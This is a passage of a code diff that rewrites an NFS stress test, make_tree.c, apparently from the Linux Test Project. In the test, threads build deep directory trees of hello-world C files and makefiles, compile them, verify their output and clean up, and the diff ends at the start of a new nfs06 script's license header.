-/*				  fails pthread_join() will put the exit value*/
-/*			          of the thread function in the thread_return */
-/*				  output argument.			      */
-/*				- Debugging function crte_mk_rm fails to      */
-/*				  create fies, problem appears only in multi- */
-/*				  threaded case.                              */
-/*								              */
-/*		Oct - 17 - 2001 Checked in		                      */
-/*				- GPL statement was added and the initial ver */
-/*			        - checked into CVS.		              */
-/*			        - note: this version works only if it is run  */
-/*				  single threaded, when its run multithreaded */
-/*		                  random thread will fail on open() sys call  */
-/*				  problem currently under investigation.      */
-/*                                                                            */
-/*		Oct - 20 - 2001 Modified				      */
-/*				- fixed a whole bunch of problems.            */
-/*			        - created function init_compile. Apparently   */
-/*				  this code works!!.                          */
-/*			        - removed system() system call that was doing */
-/*				  make and make clean. init_compile() replaces*/
-/*				  this piece of code.                         */
-/*				- on supplying the full pathname to unlink()  */
-/*				  solved most of the problems with rm_file_mk */
-/*			          function.                                   */
-/*				- reset the default vaulues for MAXT = 8      */
-/*				  MAXD = 100 and MAXF = 100.                  */
-/*				  ie. maximum number of threads = 8           */
-/*				      directory depth (num of sub dirs) = 100 */
-/*				      numeber of .c fils in each sub dir = 100*/
-/*				- finally program is now in working state.    */
-/*                                                                            */
-/*		Nov - 01 - 2001 Modified.				      */
-/*				- fixed usage message default MAXT is 8 not 1 */
-/*				- fixed make to compile the files silently    */
-/*									      */
-/*		Nov - 19 - 2001 Modified.				      */
-/*				- changed th_status in function main() from   */
-/*				  dynamic variable to static array.           */
-/*									      */
-/* File:        make_tree.c                                                   */
-/*                                                                            */
-/* Description:	This program is designed stress the NFS implimentation.       */
-/* 		Many bugs were uncovered in the AIX operating system          */
-/*		implimentation of NFS when AIX kernel was built over NFS.     */
-/*		Source directory on a remote machine (one server many clients)*/
-/*		NFS-mounted on to a directory on a local machine from which   */
-/*		the kernel build was initiated. Apparently many defects/bugs  */
-/* 		were uncovered when multiple users tried to build the kernel  */
-/* 		by NFS mounting the kernel source from a remote machine and   */
-/* 		tried to build the kernel on a local machine. AIX build envi- */
-/*		ronment is set up to create the object files and executable   */
-/*		on the local machine. 					      */
-/* 		This testcase will try to recreate such a senario.            */
-/*		Spawn N number of threads. Each thread does the following.    */
-/*		* Create a directory tree.                                    */
-/*		* Populate it with ".c" files and makefiles.                  */
-/*		* initate a build. Executable will print hello world when exed*/
-/*		* clean up all the executables that were created.             */
-/*		* recurssively remove each subdir and its contents.           */
-/*		The test is aimed at stressing the NFS client and server.     */
-/*				    hostname.1234			      */
-/*                                             |                              */
-/*				               | - 1234.0.0.c                 */
-/*					       | - 1234.0.1.c                 */
-/*                                             | - ..........                 */
-/*					       | - makefile                   */
-/*                                             |                              */
-/*					       |_ 1234.0	              */
-/*                                                    |                       */
-/*				                      | - 1234.1.0.c          */
-/*					              | - 1234.1.1.c          */
-/*                                                    | - ..........          */
-/*					              | - makefile            */
-/*                                                    |                       */
-/*					              |_ 1234.1               */
-/*                                                           |                */
-/*				                             | - 1234.2.0.c   */
-/*					                     | - 1234.2.1.c   */
-/*                                                           | - ..........   */
-/*					                     | - makefile     */
-/*                                                           |                */
-/*					                     |_1234.2         */
-/*								    |....     */
-/*                                                                            */
-/* Setup:	- on the server side:			                      */
-/*		  * create a directory /nfs_test 		              */
-/*		  * make an entry in /etc/exports file like this...           */
-/*		    "/nfs_test *(rw,no_root_squash)"		              */
-/*		  * run command "exportfs -a"		                      */
-/*	        - on client side:			                      */
-/*		  * create a directory say for eg: /nfs_cli                   */
-/*		  * mount -t nfs servername:/nfs_test /nfs_cli                */
-/*		  * set up the tescase in /nfs_cli directory		      */
-/*		- I reccomend that you have atleast 8 client machines running */
-/*		   this test, linux has 8 NFSD's running by default, you might*/
-/*		   have to increase it as per your requirement.               */
-/*		                                                              */
-/* Note:	- assumed that NFS services are installed and configured      */
-/*		- you have atleast 2 machines to act as client and server     */
-/*		  (you can have muiltiple client machines and one server)     */
-/*		- large amount of disk space, this depends on the number of   */
-/*		  of clients you will have, if you have only one client, I    */
-/*		  reccomend that the server have atleast 4 Giga bytes of      */
-/*		  disk space (paranoid!).			              */
-/*									      */
-/******************************************************************************/
+ * Description:
+ * This program is designed to stress the NFS implimentation. Many bugs were
+ * uncovered in the AIX operating system implimentation of NFS when AIX kernel
+ * was built over NFS. Source directory on a remote machine (one server many
+ * clients) NFS-mounted on to a directory on a local machine from which the
+ * kernel build was initiated. Apparently many defects/bugs were uncovered when
+ * multiple users tried to build the kernel by NFS mounting the kernel source
+ * from a remote machine and tried to build the kernel on a local machine.
+ *
+ * The test's aimed to stress NFS client/server and recreates such a senario.
+ * Spawn N number of threads. Each thread does the following:
+ *   * create a directory tree;
+ *   * populate it with ".c" files and makefiles;
+ *     hostname.1234
+ *             | - 1234.0.0.c
+ *             | - ..........
+ *             | - makefile
+ *             |_ 1234.0
+ *                    |
+ *                    | - 1234.1.0.c
+ *                    | - ..........
+ *                    | - makefile
+ *                    |_ 1234.1
+ *                           |....
+ *
+ *   * initate a build, executable will print hello world;
+ *   * clean up all the executables that were created;
+ *   * recurssively remove each subdir and its contents.
+ *
+ */
 
+#define _GNU_SOURCE
 #include <stdio.h>
 #include <sys/stat.h>
 #include <sys/wait.h>
@@ -188,609 +60,174 @@
 #include <errno.h>
 #include <linux/unistd.h>
 
+#include "lapi/mkdirat.h"
+#include "tst_safe_pthread.h"
+#include "tst_safe_stdio.h"
+#include "tst_test.h"
+
 #define gettid() syscall(__NR_gettid)
 
-#ifdef DEBUG
-#define dprt(fmt, args...)	printf(fmt, ## args)
-#else
-#define dprt(fmt, args...)
-#endif
+static int thrd_num = 8;
+static int dirs_num = 100;
+static int file_num = 100;
 
-#define MAKE_EXE	1	/* initate a make                             */
-#define MAKE_CLEAN	0	/* initate a make clean                       */
+static char *t_arg, *d_arg, *f_arg;
 
-#define PTHREAD_EXIT(val)    do {\
-			exit_val = val; \
-                        dprt("pid[%d]: exiting with %d\n", gettid(),exit_val); \
-			pthread_exit((void *)exit_val); \
-				} while (0)
+static struct tst_option opts[] = {
+	{"t:", &t_arg, "-t x    Number of threads to generate, default: 8\n"},
+	{"d:", &d_arg, "-d x    Number of subdirs to generate, default: 100\n"},
+	{"f:", &f_arg, "-f x    Number of c files in each dir, default: 100\n"},
+	{NULL, NULL, NULL}
+};
 
-#define OPT_MISSING(prog, opt)   do{\
-			       fprintf(stderr, "%s: option -%c ", prog, opt); \
-                               fprintf(stderr, "requires an argument\n"); \
-                               usage(prog); \
-                                   } while (0)
-
-#define MAXD	100		/* default number of directories to create.           */
-#define MAXF	100		/* default number of files to create.                 */
-#define MAXT	8		/* default number of threads to create.               */
-
-/******************************************************************************/
-/*								 	      */
-/* Function:	usage							      */
-/*									      */
-/* Description:	Print the usage message.				      */
-/*									      */
-/* Return:	exits with -1						      */
-/*									      */
-/******************************************************************************/
-static void usage(char *progname)
-{				/* name of this program                       */
-	fprintf(stderr,
-		"Usage: %s -d NUMDIR -f NUMFILES -h -t NUMTHRD\n"
-		"\t -d Number of subdirectories to generate:   Default: 100\n"
-		"\t -f Number of c files in each subdirectory: Default: 100\n"
-		"\t -h Help!\n"
-		"\t -t Number of threads to generate:          Default: 8\n",
-		progname);
-	exit(-1);
-}
-
-/******************************************************************************/
-/*								 	      */
-/* Function:	init_compile						      */
-/*									      */
-/* Description:	This function compiles the .c files and removes the exeutables*/
-/*		This function does the same function as the system() system   */
-/*		call, the code is available in the system() man page. When    */
-/*		called with the parameter MAKE_EXE it will initiate make in   */
-/*		the first directory created, the makefile is designed to build*/
-/*		recursively all the files in the subdirectories below.        */
-/*		When called with the MAKE_CLEAN parameter it will remove the  */
-/*		executables that were created design is similar to the case   */
-/*		were it initiates a make.                                     */
-/*									      */
-/* Return:	exits with 1 on error, 0 on success                           */
-/*									      */
-/******************************************************************************/
-static int init_compile(int what_todo,	/* do a compile or clean             */
-			char *base_dir,	/* base directory of the test        */
-			char *hname)
-{				/* hostname of the machine           */
-	int status;		/* return status of execve process            */
-	pid_t pid;		/* pid of the process that does compile       */
-	char *dirname;		/* location where compile is initated         */
-	char *command;		/* make or make clean command.                */
-
-	if ((dirname = malloc(sizeof(char) * 2048)) == NULL) {	/* just paranoid */
-		perror("init_compile(): dirname malloc()");
-		return 1;
-	}
-
-	if ((command = malloc(sizeof(char) * 1024)) == NULL) {	/* just paranoid */
-		perror("init_compile(): dirname malloc()");
-		return 1;
-	}
-
-	what_todo ? sprintf(command, "make -s") : sprintf(command,
-							  "make -s clean");
-
-	sprintf(dirname, "%s/%s.%ld", base_dir, hname, gettid());
-
-	if (chdir(dirname) == -1) {
-		dprt("pid[%d]: init_compile(): dir name = %s\n", gettid(),
-		     dirname);
-		perror("init_compile() chdir()");
-		free(dirname);
-		return 1;
-	}
-
-	dprt("pid[%d]: init_compile(): command = %s\n", gettid(), command);
-
-	if ((pid = fork()) == -1) {
-		perror("init_compile(): fork()");
-		return 1;
-	}
-	if (!pid) {
-		char *argv[4];
-
-		argv[0] = "/bin/sh";
-		argv[1] = "-c";
-		argv[2] = command;
-		argv[3] = 0;
-
-		if (execv("/bin/sh", argv) == -1) {
-			perror("init_compile(): execv()");
-			return 1;
-		}
-	}
-	do {
-		if (waitpid(pid, &status, 0) == -1) {
-			if (errno != EINTR) {
-				fprintf(stderr,
-					"init_compile(): waitpid() failed\n");
-				return 1;
-			}
-		} else {
-			if (chdir(base_dir) == -1) {
-				dprt("pid[%d]: init_compile(): dir = %s\n",
-				     gettid(), dirname);
-				perror("init_compile(): chdir()");
-				return 1;
-			}
-
-			dprt("pid[%d]: init_compile(): status = %d\n",
-			     gettid(), status);
-			dprt("we are here %d\n", __LINE__);
-			return status;
-		}
-
-	} while (1);
-}
-
-/******************************************************************************/
-/*								 	      */
-/* Function:	rm_file_dir						      */
-/*									      */
-/* Description: This function removes the .c files makefiles and directories. */
-/*		First removes the files in the files in the last directory    */
-/*		first then removes the last directory, then cycles through    */
-/*		each subdirectory and does the same.			      */
-/*									      */
-/* Return:	exits with 1 on error, 0 on success      		      */
-/*									      */
-/******************************************************************************/
-static int rm_file_dir(int numsdir,	/* how many subdirs to remove         */
-		       int numfiles,	/* number of files to remove per dir  */
-		       char *hname,	/* hostname of the client machine     */
-		       char *base_dir)
-{				/* directory where the test is located */
-	int filecnt;		/* index to the num of files to remove */
-	int dircnt;		/* index into directory tree          */
-	int sindex = numsdir;	/* num subdirectory tree to remove    */
-	char *dirname;		/* name of the directory to chdir()   */
-	char *tmpdirname;	/* temp name for directory, for swap  */
-	char *filename;		/* name of the cfile to remove        */
-	char *subdir;		/* name of the sub dir to remove      */
-
-	if ((dirname = malloc(sizeof(char) * 2048)) == NULL) {	/* just paranoid */
-		perror("crte_mk_rm(): dirname malloc()");
-		return 1;
-	}
-
-	if ((tmpdirname = malloc(sizeof(char) * 2048)) == NULL) {	/* just paranoid */
-		perror("crte_mk_rm(): tmpdirname malloc()");
-		return 1;
-	}
-
-	if ((filename = malloc(sizeof(char) * 2048)) == NULL) {	/* just paranoid */
-		perror("crte_mk_rm(): filename malloc()");
-		return 1;
-	}
-
-	if ((subdir = malloc(sizeof(char) * 2048)) == NULL) {	/* just paranoid */
-		perror("crte_mk_rm(): subdir malloc()");
-		return 1;
-	}
-
-	dprt("pid[%d]: base directory: %s\n", gettid(), base_dir);
-	while (sindex) {
-		/* get the name of the last directory created. */
-		for (dircnt = 0; dircnt < sindex; dircnt++) {
-			if (dircnt == 0)
-				sprintf(dirname, "%s/%s.%ld", base_dir, hname,
-					gettid());
-			else {
-				sprintf(tmpdirname, "%s/%ld.%d", dirname,
-					gettid(), dircnt);
-				sprintf(dirname, "%s", tmpdirname);
-			}
-			sync();
-		}
-
-		dprt("pid[%d]: cd'ing to last created dir: %s\n", gettid(),
-		     dirname);
-
-		sindex--;
-
-		/* remove all the ".c" files and makefile in this directory */
-		for (filecnt = 0; filecnt < numfiles; filecnt++) {
-			sprintf(filename, "%s/%ld.%d.%d.c", dirname, gettid(),
-				dircnt - 1, filecnt);
-			dprt("pid[%d]: removing file: %s\n", gettid(),
-			     filename);
-
-			if (unlink(filename)) {
-				dprt("pid[%d]: failed removing file: %s\n",
-				     gettid(), filename);
-				perror("rm_file_dir(): unlink()");
-				free(tmpdirname);
-				free(dirname);
-				free(filename);
-				free(subdir);
-				return 1;
-			}
-			sync();
-		}
-
-		sprintf(filename, "%s/%s", dirname, "makefile");
-		dprt("pid[%d]: removing %s\n", gettid(), filename);
-		if (unlink(filename)) {
-			perror
-			    ("rm_file_dir() cound not remove makefile unlink()");
-			free(tmpdirname);
-			free(dirname);
-			free(filename);
-			free(subdir);
-			return 1;
-		}
-		sync();
-
-		/* the last directory does not have any more sub directories */
-		/* nothing to remove.                                    */
-		dprt("pid[%d]: in directory count(dircnt): %d\n", gettid(),
-		     dircnt);
-		dprt("pid[%d]: last directory(numsdir): %d\n", gettid(),
-		     numsdir);
-		if (dircnt < numsdir) {
-			/* remove the sub directory */
-			sprintf(subdir, "%s/%ld.%d", dirname, gettid(), dircnt);
-			dprt("pid[%d]: removing subdirectory: %s\n", gettid(),
-			     subdir);
-			if (rmdir(subdir) == -1) {
-				perror("rm_file_dir() rmdir()");
-				free(tmpdirname);
-				free(dirname);
-				free(filename);
-				free(subdir);
-				return 1;
-			}
-			sync();
-		}
-	}
-
-	free(tmpdirname);
-	free(dirname);
-	free(filename);
-	free(subdir);
-	return 0;
-}
-
-/******************************************************************************/
-/*								 	      */
-/* Function:	crte_mk_rm						      */
-/*									      */
-/* Description:	This function gets executed by each thread that is created.   */
-/*		crte_mk_rm() created the directory tree, polpulates it with   */
-/*		".c" files and a makefile that will compile the ".c" files and*/
-/*		initiate the makefile in the subdirectory under it. Once the  */
-/*		c source files are compiled it will remove them.              */
-/*									      */
-/* Input:	The argument pointer contains the following.                  */
-/*		arg[0] - number of directories to create, depth of the tree.  */
-/*		arg[1] - number of ".c" files to create in each dir branch.   */
-/*									      */
-/* Return:	-1 on failure						      */
-/*		 0 on success					              */
-/*									      */
-/******************************************************************************/
-static void *crte_mk_rm(void *args)
+static void run_targets(const char *dirname, char *cfile, pid_t tid)
 {
-	int dircnt;		/* index to the number of subdirectories      */
-	int fd;			/* file discriptor of the files genetated     */
-	int filecnt;		/* index to the number of ".c" files created  */
-	int numchar[2];		/* number of characters written to buffer     */
-	char *dirname;		/* name of the directory/idirectory tree      */
-	char *tmpdirname;	/* name of a temporary directory, for swaping */
-	char *cfilename;	/* name of the ".c" file created              */
-	char *mkfilename;	/* name of the makefile - which is "makefile" */
-	char *hostname;		/* hostname of the client machine             */
-	char *prog_buf;		/* buffer containing contents of the ".c" file */
-	char *make_buf;		/* buffer the contents of the makefile        */
-	char *pwd;		/* contains the current working directory     */
-	long *locargptr =	/* local pointer to arguments                 */
-	    (long *)args;
-	volatile int exit_val = 0;	/* exit value of the pthreads                 */
+	int i, k, fd;
+	char subdir[PATH_MAX] = {0};
+	char *output_file;
+	char buf[11];
+	const char *const cmd_run[] = {cfile, NULL};
 
-	if ((dirname = malloc(sizeof(char) * 2048)) == NULL) {	/* just paranoid */
-		perror("crte_mk_rm(): dirname malloc()");
-		PTHREAD_EXIT(-1);
-	}
+	SAFE_ASPRINTF(&output_file, "%s/cmd.out", dirname);
 
-	if ((tmpdirname = malloc(sizeof(char) * 2048)) == NULL) {
-		perror("crte_mk_rm(): tmpdirname malloc()");
-		PTHREAD_EXIT(-1);
-	}
+	/* run each binary */
+	for (i = 0; i < dirs_num; ++i) {
+		for (k = 0; k < file_num; ++k) {
+			snprintf(cfile, PATH_MAX, "%s%s/%d.%d.%d",
+				 dirname, subdir, tid, i, k);
 
-	if ((cfilename = malloc(sizeof(char) * 2048)) == NULL) {
-		perror("crte_mk_rm(): cfilename malloc()");
-		PTHREAD_EXIT(-1);
-	}
+			tst_run_cmd(cmd_run, output_file, NULL, 0);
 
-	if ((mkfilename = malloc(sizeof(char) * 2048)) == NULL) {
-		perror("crte_mk_rm(): mkfilename malloc()");
-		PTHREAD_EXIT(-1);
-	}
-
-	if ((prog_buf = malloc(sizeof(char) * 4096)) == NULL) {
-		perror("crte_mk_rm(): prog_buf malloc()");
-		PTHREAD_EXIT(-1);
-	}
-
-	if ((pwd = malloc(PATH_MAX)) == NULL) {
-		perror("crte_mk_rm(): pwd malloc()");
-		PTHREAD_EXIT(-1);
-	}
-
-	if ((hostname = malloc(sizeof(char) * 1024)) == NULL) {
-		perror("crte_mk_rm(): hostname malloc()");
-		PTHREAD_EXIT(-1);
-	}
-
-	if (gethostname(hostname, 255) == -1) {
-		perror("crte_mk_rm(): gethostname()");
-		PTHREAD_EXIT(-1);
-	}
-	if (!getcwd(pwd, PATH_MAX)) {
-		perror("crte_mk_rm(): getcwd()");
-		PTHREAD_EXIT(-1);
-	}
-
-	numchar[0] = sprintf(prog_buf,
-			     "main()\n{\n\t printf(\"hello world\");\n}\n");
-
-	for (dircnt = 0; dircnt < (int)locargptr[0]; dircnt++) {
-		/* First create the base directory, then create the subdirectories   */
-		if (dircnt == 0)
-			sprintf(dirname, "%s.%ld", hostname, gettid());
-		else {
-			sprintf(tmpdirname, "%s/%ld.%d", dirname, gettid(),
-				dircnt);
-			sprintf(dirname, "%s", tmpdirname);
+			fd = SAFE_OPEN(output_file, O_RDONLY);
+			SAFE_READ(1, fd, buf, 11);
+			if (strncmp(buf, "hello world", 11))
+				tst_brk(TFAIL, "command printed wrong message");
+			SAFE_CLOSE(fd);
 		}
-		sync();
-
-		dprt("pid[%d] creating directory: %s\n", gettid(), dirname);
-		if (mkdir(dirname, 0777) == -1) {
-			perror("crte_mk_rm(): mkdir()");
-			PTHREAD_EXIT(-1);
-		}
+		strcat(subdir, "/dir");
 	}
 
-	sync();
-	usleep(10);
-	for (dircnt = 0; dircnt < (int)locargptr[0]; dircnt++) {
-		if (dircnt == 0)
-			sprintf(dirname, "%s/%s.%ld", pwd, hostname, gettid());
-		else {
-			sprintf(tmpdirname, "%s/%ld.%d", dirname, gettid(),
-				dircnt);
-			sprintf(dirname, "%s", tmpdirname);
-		}
-		sync();
-		if ((make_buf = malloc(sizeof(char) * 4096)) == NULL) {
-			perror("crte_mk_rm(): make_buf malloc()");
-			PTHREAD_EXIT(-1);
-		}
-		sprintf(mkfilename, "%s/makefile", dirname);
-		{
-			/* HACK! I could not write "%.c" to the makefile */
-			/* there is probably a correct way to do it      */
-			char *dotc = malloc(10);
-			dotc = ".c";
-			sync();
-			usleep(10);
-			if (dircnt == (locargptr[0] - 1)) {
-				numchar[1] = sprintf(make_buf,
-						     "CFLAGS := -O -w -g\n"
-						     "SUBDIRS = %ld.%d\n"
-						     "SRCS=$(wildcard *.c)\n"
-						     "TARGETS=$(patsubst %%%s,\%%,$(SRCS))\n"
-						     "all:\t $(TARGETS)\n"
-						     "clean:\n"
-						     "\trm -f $(TARGETS)\n",
-						     gettid(), dircnt + 1,
-						     dotc);
-			} else {
-				numchar[1] = sprintf(make_buf,
-						     "CFLAGS := -O -w -g\n"
-						     "SUBDIRS = %ld.%d\n"
-						     "SRCS=$(wildcard *.c)\n"
-						     "TARGETS=$(patsubst %%%s,\%%,$(SRCS))\n\n\n"
-						     "all:\t $(TARGETS)\n"
-						     "\t@for i in $(SUBDIRS); do $(MAKE) -C $$i ; done\n\n"
-						     "clean:\n"
-						     "\trm -f $(TARGETS)\n"
-						     "\t@for i in $(SUBDIRS); do $(MAKE) -C $$i clean ; done\n",
-						     gettid(), dircnt + 1,
-						     dotc);
-			}
-		}
-
-		sync();
-		usleep(10);
-		dprt("pid[%d]: creating in dir: %s\n", gettid(), mkfilename);
-		/* create the makefile, complies .c files and initiates make in   */
-		/* subdirectories.                                                */
-		if ((fd = open(mkfilename, O_CREAT | O_RDWR,
-			       S_IRWXU | S_IRWXG | S_IRWXO)) == -1) {
-			dprt(" pid[%d]: failed to create makefile\n", gettid());
-			dprt("pid[%d]: failed in directory %s\n", gettid(),
-			     dirname);
-			perror("crte_mk_rm() failed creating makefile: open()");
-			PTHREAD_EXIT(-1);
-		} else {
-			sync();
-			if (write(fd, make_buf, numchar[1]) == -1) {
-				perror("crte_mk_rm(): write()");
-				PTHREAD_EXIT(-1);
-			}
-
-			free(make_buf);
-
-			if (close(fd) == -1) {
-				perror("crte_mk_rm(): close()");
-				PTHREAD_EXIT(-1);
-			}
-		}
-	}
-
-	for (dircnt = 0; dircnt < (int)locargptr[0]; dircnt++) {
-		if (dircnt == 0)
-			sprintf(dirname, "%s/%s.%ld", pwd, hostname, gettid());
-		else {
-			sprintf(tmpdirname, "%s/%ld.%d", dirname, gettid(),
-				dircnt);
-			sprintf(dirname, "%s", tmpdirname);
-		}
-		sync();
-		/* In each directory create N ".c" files and a makefile. */
-		for (filecnt = 0; filecnt < (int)locargptr[1]; filecnt++) {
-			sprintf(cfilename, "%s/%ld.%d.%d.c", dirname, gettid(),
-				dircnt, filecnt);
-			dprt("pid[%d]: creating file: %s\n", gettid(),
-			     cfilename);
-			if ((fd =
-			     open(cfilename, O_CREAT | O_RDWR,
-				  S_IRWXU | S_IRWXG | S_IRWXO)) == -1) {
-				fprintf(stderr,
-					"open() failed to create file %s\n",
-					cfilename);
-				perror
-				    ("crte_mk_rm(): failed creating .c files: open()");
-				PTHREAD_EXIT(-1);
-			} else {
-				sync();
-				/* write the code, this program prints hello world */
-				if (write(fd, prog_buf, numchar[0]) == -1) {
-					perror("crte_mk_rm(): write()");
-					PTHREAD_EXIT(-1);
-				}
-
-				fsync(fd);
-
-				if (close(fd) == -1) {
-					perror("crte_mk_rm(): close()");
-					PTHREAD_EXIT(-1);
-				}
-			}
-
-		}
-	}
-
-	if (init_compile(MAKE_EXE, pwd, hostname) == 1) {
-		fprintf(stderr, "init_compile() make failed\n");
-		PTHREAD_EXIT(-1);
-	} else {
-		if (init_compile(MAKE_CLEAN, pwd, hostname) == 1) {
-			fprintf(stderr, "init_compile() make clean failed\n");
-			PTHREAD_EXIT(-1);
-		}
-	}
-
-	sync();
-	/* remove all the files makefiles and subdirecotries  */
-	if (rm_file_dir((int)locargptr[0], (int)locargptr[1], hostname, pwd)) {
-		fprintf(stderr, "crte_mk_rm(): rm_file_dir() failed\n");
-		PTHREAD_EXIT(-1);
-	}
-	/* if it made it this far exit with success */
-	PTHREAD_EXIT(0);
+	free(output_file);
 }
 
-/******************************************************************************/
-/*								 	      */
-/* Function:	main							      */
-/*									      */
-/* Description:	This is the entry point to the program. This function will    */
-/*		parse the input arguments and set the values accordingly. If  */
-/*		no arguments (or desired) are provided default values are used*/
-/*		refer the usage function for the arguments that this program  */
-/*		takes. It also creates the threads which do most of the dirty */
-/*		work. If the threads exits with a value '0' the program exits */
-/*		with success '0' else it exits with failure '-1'.             */
-/*									      */
-/* Return:	-1 on failure						      */
-/*		 0 on success						      */
-/*									      */
-/******************************************************************************/
-int main(int argc,		/* number of input parameters                 */
-	 char **argv)
-{				/* pointer to the command line arguments.     */
-	int c;			/* command line options                       */
-	int num_thrd = MAXT;	/* number of threads to create                */
-	int num_dirs = MAXD;	/* number of subdirectories to create         */
-	int num_files = MAXF;	/* number of files in each subdirectory      */
-	int thrd_ndx;		/* index into the array of thread ids         */
-	void *th_status;	/* exit status of LWP's                       */
-	pthread_t thrdid[30];	/* maxinum of 30 threads allowed              */
-	long chld_args[3];	/* arguments to the thread function           */
-	extern int optopt;	/* options to the program                     */
+static void *thread_fn(LTP_ATTRIBUTE_UNUSED void *args)
+{
+	const char prog_buf[] = "#include <stdio.h>\n"
+				"int main(void)\n{\n"
+				"\tprintf(\"hello world\");\n"
+				"\treturn 0;\n}\n";
 
-	while ((c = getopt(argc, argv, "d:f:ht:")) != -1) {
-		switch (c) {
-		case 'd':	/* specify how deep the tree needs to grow    */
-			if ((num_dirs = atoi(optarg)) == 0)
-				OPT_MISSING(argv[0], optopt);
-			else if (num_dirs < 0) {
-				fprintf(stdout,
-					"WARNING: bad argument. Using default\n");
-				num_dirs = MAXD;
+	const char make_buf_n[] = "CFLAGS := -O -w -g\n"
+				  "SRCS=$(wildcard *.c)\n"
+				  "TARGETS=$(SRCS:.c=)\n"
+				  "all: $(TARGETS)\n"
+				  "$(TARGETS): %: %.c\n"
+				  "\t$(CC) -o $@ $<\n"
+				  "clean:\n\trm -f $(TARGETS)\n"
+				  ".PHONY: all clean\n";
+
+	const char make_buf[] = "CFLAGS := -O -w -g\n"
+				"SUBDIR = dir\n"
+				"SRCS=$(wildcard *.c)\n"
+				"TARGETS=$(SRCS:.c=)\n"
+				"all: $(SUBDIR) $(TARGETS)\n"
+				"$(TARGETS): %: %.c\n"
+				"\t$(CC) -o $@ $<\n"
+				"$(SUBDIR):\n\t$(MAKE) -C $@\n"
+				"clean:\n"
+				"\trm -f $(TARGETS)\n"
+				"\t$(MAKE) -C $(SUBDIR) clean\n"
+				".PHONY: all $(SUBDIR) clean\n";
+
+	int i, k, fd, dirfd, ret;
+	char *dirname;
+	char cfile[PATH_MAX];
+	char hostname[256];
+	pid_t tid = gettid();
+
+	SAFE_GETHOSTNAME(hostname, 256);
+	SAFE_ASPRINTF(&dirname, "%s.%ld", hostname, tid);
+
+	SAFE_MKDIR(dirname, 0755);
+	dirfd = SAFE_OPEN(dirname, O_DIRECTORY);
+
+	for (i = 0; i < dirs_num; ++i) {
+
+		fd = openat(dirfd, "makefile", O_CREAT | O_RDWR,
+			    S_IRWXU | S_IRWXG | S_IRWXO);
+		if (fd < 0)
+			tst_brk(TFAIL | TERRNO, "openat(makefile) failed");
+
+		if (i == dirs_num - 1)
+			SAFE_WRITE(1, fd, make_buf_n, sizeof(make_buf_n) - 1);
+		else
+			SAFE_WRITE(1, fd, make_buf, sizeof(make_buf) - 1);
+
+		SAFE_CLOSE(fd);
+
+		for (k = 0; k < file_num; ++k) {
+			snprintf(cfile, PATH_MAX, "%d.%d.%d.c", tid, i, k);
+			fd = openat(dirfd, cfile, O_CREAT | O_RDWR,
+				    S_IRWXU | S_IRWXG | S_IRWXO);
+			if (fd < 0) {
+				tst_brk(TFAIL | TERRNO,
+					"openat(%s) failed", cfile);
 			}
-			break;
-		case 'f':	/* how many ".c" files in each directory.     */
-			if ((num_files = atoi(optarg)) == 0)
-				OPT_MISSING(argv[0], optopt);
-			else if (num_files < 0) {
-				fprintf(stdout,
-					"WARNING: bad argument. Using default\n");
-				num_files = MAXF;
-			}
-			break;
-		case 'h':
-			usage(argv[0]);
-			break;
-		case 't':
-			if ((num_thrd = atoi(optarg)) == 0)
-				OPT_MISSING(argv[0], optopt);
-			else if (num_thrd < 0) {
-				fprintf(stdout,
-					"WARNING: bad argument. Using default\n");
-				num_thrd = MAXT;
-			}
-			break;
-		default:
-			usage(argv[0]);
-			break;
+
+			SAFE_WRITE(1, fd, prog_buf, sizeof(prog_buf) - 1);
+			SAFE_CLOSE(fd);
 		}
+
+		if (i == dirs_num - 1)
+			break;
+
+		ret = mkdirat(dirfd, "dir", 0755);
+		if (ret < 0)
+			tst_brk(TFAIL | TERRNO, "mkdirat('dir') failed");
+		dirfd = openat(dirfd, "dir", O_DIRECTORY);
+		if (dirfd < 0)
+			tst_brk(TFAIL | TERRNO, "openat('dir') failed");
 	}
 
-	chld_args[0] = num_dirs;
-	chld_args[1] = num_files;
+	const char *const cmd_make[] = {"make", "-s", "-C", dirname, NULL};
+	const char *const cmd_make_clean[] = {
+		"make", "-C", dirname, "-s", "clean", NULL};
 
-	for (thrd_ndx = 0; thrd_ndx < num_thrd; thrd_ndx++) {
-		if (pthread_create
-		    (&thrdid[thrd_ndx], NULL, crte_mk_rm, chld_args)) {
-			perror("crte_mk_rm(): pthread_create()");
-			exit(-1);
-		}
-	}
+	tst_run_cmd(cmd_make, NULL, NULL, 0);
 
-	sync();
+	run_targets(dirname, cfile, tid);
 
-	for (thrd_ndx = 0; thrd_ndx < num_thrd; thrd_ndx++) {
-		if (pthread_join(thrdid[thrd_ndx], &th_status) != 0) {
-			perror("crte_mk_rm(): pthread_join()");
-			exit(-1);
-		} else {
-			dprt("WE ARE HERE %d\n", __LINE__);
-			if (th_status == (void *)-1) {
-				fprintf(stderr,
-					"thread [%ld] - process exited with errors\n",
-					thrdid[thrd_ndx]);
-				exit(-1);
-			}
-		}
-	}
-	return (0);
+	tst_run_cmd(cmd_make_clean, NULL, NULL, 0);
+
+	free(dirname);
+
+	return NULL;
 }
+
+static void setup(void)
+{
+	thrd_num = atoi(t_arg);
+	dirs_num = atoi(d_arg);
+	file_num = atoi(f_arg);
+}
+
+static void do_test(void)
+{
+	int i;
+	pthread_t id[thrd_num];
+
+	for (i = 0; i < thrd_num; ++i)
+		SAFE_PTHREAD_CREATE(id + i, NULL, thread_fn, NULL);
+
+	for (i = 0; i < thrd_num; ++i)
+		SAFE_PTHREAD_JOIN(id[i], NULL);
+
+	tst_res(TPASS, "'make' successfully build and clean all targets");
+}
+
+static struct tst_test test = {
+	.tid = "nfs05_make_tree",
+	.options = opts,
+	.test_all = do_test,
+	.setup = setup,
+};
diff --git a/testcases/network/nfs/nfs_stress/nfs06 b/testcases/network/nfs/nfs_stress/nfs06
new file mode 100755
index 0000000..eb35157
--- /dev/null
+++ b/testcases/network/nfs/nfs_stress/nfs06
@@ -0,0 +1,60 @@
+#!/bin/sh
+# Copyright (c) 2016 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) International Business Machines  Corp., 2003
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
